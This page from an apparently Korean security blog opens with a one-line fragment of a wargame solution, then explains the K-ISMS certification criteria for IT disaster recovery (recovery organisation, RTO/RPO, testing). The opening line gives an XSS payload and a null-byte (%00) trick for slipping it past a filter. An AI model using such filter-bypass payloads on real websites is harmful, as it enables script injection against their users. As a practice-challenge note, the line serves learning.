<script>alert(1);</script>구문에서 문자와 문자 사이에 NULL(%00) 값을 입력하여 해당 필터링을 우회하면 해당 문제 Clear가 가능하다.


K-ISMS 인증기준 - 13. IT재해복구






13.1 체계 구축



13.1.1 IT 재해복구 체계 구축

자연재앙, 해킹, 통신장애, 전력중단 등의 요인으로 인해 IT 시스템 중단 또는 파손 등 피해가 발생할 경우를 대비하여 비상 시 복구조직, 비상연락체계, 복구절차 등 IT 재해복구 체계를 구축하여야 한다.  



13.1.1.1 다음과 같은 내용을 포함하는 IT 재해복구 체계를 구축하고 있는가?


- 재해 시 복구조직 및 역할 정의

- 비상연락체게

- 복구순서 정의 

- 복구전략 및 대책

- 복구 절차 및 방법 등  

 ㅇ IT 재해 발생 시 신속한 복구가 가능하도록 다음과 같은 내용을 포함하여 IT 재해복구 체계를 구축하여야 한다.


- 재해 시 복구조직 및 역할 정의 :  IT 재해 발생 시 복구를 위한 관련부서 및 담당자 역할과 책임 부여

- 비상연락체계 : 조직 내 관련 부서 담당자, 유지보수 업체 등 복구 조직상 연락체계 구축

- 복구전략 및 대책 수립방법론 : 업무영향분석, 복구목표시간 및 복구시점 정의, 핵심 IT 서비스 및 시스템 식별 등

- 복구순서정의 : 복구목표시간별로 정보시스템의 복구순서 정의

- 복구절차 : 재해발생, 복구완료, 사후관리 단계 포함   







13.2 대책 구현


13.2.1 영향분석에 따른 복구대책 수립

조직의 핵심 서비스 연속성을 위협할 수 있는 IT 재해 유형을 식별하고 유형별 예상 피해규모 및 영향을 분석하여야 한다. 또한 IT 서비스 및 시스템 복구목표시간, 복구시점을 정의하고 적절한 복구전략 및 대책을 수립 ∙ 이행하여야 한다.



13.1.2.1 조직의 핵심 서비스(업무) 연속성을 위협할 수 있는 IT 재해 위험요인을 식별하고 위험요인에 따른 피해규모 및 업무에 미치는 영향을 고려하여 핵심 IT 서비스(업무) 및 시스템을 식별하고 있는가?  

 ㅇ IT 재해복구는 각종 재해 및 위험요인으로 인한 IT 서비스 중단 시 정상 기능으로 복구하는 모든 절차와 행위를 말한다. IT 서비스 중단을 초래할 수 있는 IT 재해 위험요인은 다음과 같다. 


- 자연재해 : 화재, 홍수, 지진, 태풍 등

- 외부요인 : 해킹, 통신장애, 전력 수급 중단 등

- 내부요인 : 시스템 결함, 기계적 오류, 사용자 실수, 의도적∙악의적 운영, 핵심 운영자 근무 이탈(사망, 병가, 휴가, 이직 등), 환경설정 오류 등


ㅇ IT 재해 발생으로 조직의 핵심 서비스(업무) 중단 시 피해규모 및 영향을 분석하여 핵심 IT 서비스 및 시스템을 식별하여야 한다. 피해규모 및 업무영향분석 시 다음사항을 고려할 수 있다. 


- 매출감소, 계약위약금 지급 등 재무적 측면

- 손해배상 소송 등 법적 측면

- 대외 이미지 하락 등 


13.1.2.2 핵심 IT 서비스 및 시스템의 복구목표시간, 복구시점을 정의하고 있는가?

 ㅇ IT 서비스 및 시스템 중단시점부터 복구되어 정상가동 될 때까지의 복구목표시간(RTO : Recovery Time Objective)과 데이터가 복구되어야 하는 복구시점(RPO : Recovery Point Objective)을 정의하여야 한다.


13.1.2.3 정의한 복구목표시간 및 복구시점을 달성할 수 있는 적절한 복구전략 및 대책을 수립하고 있는가?

ㅇ IT 재해발생 시 사전 정의한 서비스 및 시스템 복구목표시간 및 복구시점을 달성할 수 있도록 비용효과적인 복구전략 및 대책을 수립하여야 하며 실제로 IT 재해발생 시에는 사전 마련한 복구전략 및 대책에 따라 신속하게 복구를 하여야 한다.



13.2.2 시험 및 유지관리

IT 서비스 복구전략 및 대책에 따라 효과적인 복구가 가능한 지 시험을 실시하고 시험계획에는 시나리오, 일정, 방법, 절차 등을 포함하여야 한다. 또한 시험결과, IT 환경변화, 법규 등에 따른 변화를 반영하여 복구전략 및 대책을 보완하여야 한다.  



13.2.2.1 수립된 IT 재해 복구 대책의 실효성을 판단하기 위하여 다음과 같은 내용이 포함된 시험계획을 수립 ∙ 수행하고 있는가?


- 일정 (일시 및 장소)

- 참여인원

- 범위

- 방법 (예 : 시나리오 기반)

- 절차 등

 ㅇ IT 서비스 및 시스템 복구전략 및 대책이 복구 목표를 달성하기에 효과적인 지 여부를 확인하기 위하여 시험 시나리오, 일정, 방법, 절차 등을 포함하는 시험계획을 수립하여야 한다.

또한 시험계획에 따라 정기적인 시험을 실시하여 복구전략 및 대책이 효과를 발휘하는지, 비상시 복구조직 구성원이 복구절차에 따라 신속하게 대응하는지 등을 점검하여야 한다. 


13.2.2.2 시험결과, IT 환경변화, 법률 등에 따른 변화를 반영할 수 있도록 복구전략 및 대책을 정기적으로 검토∙보완하고 있는가?

 ㅇ 시험 결과, IT 환경 변화, 법률 등에 따른 변화 등 조직 내외의 변화를 반영하지 못한 복구전략 및 대책은 실효성이 떨어질 수 있으므로, 공식적인 변화관리 절차를 마련하고, 이에 따라 현실을 반영, 보완하도록 하여야 한다.


 

+ Recent posts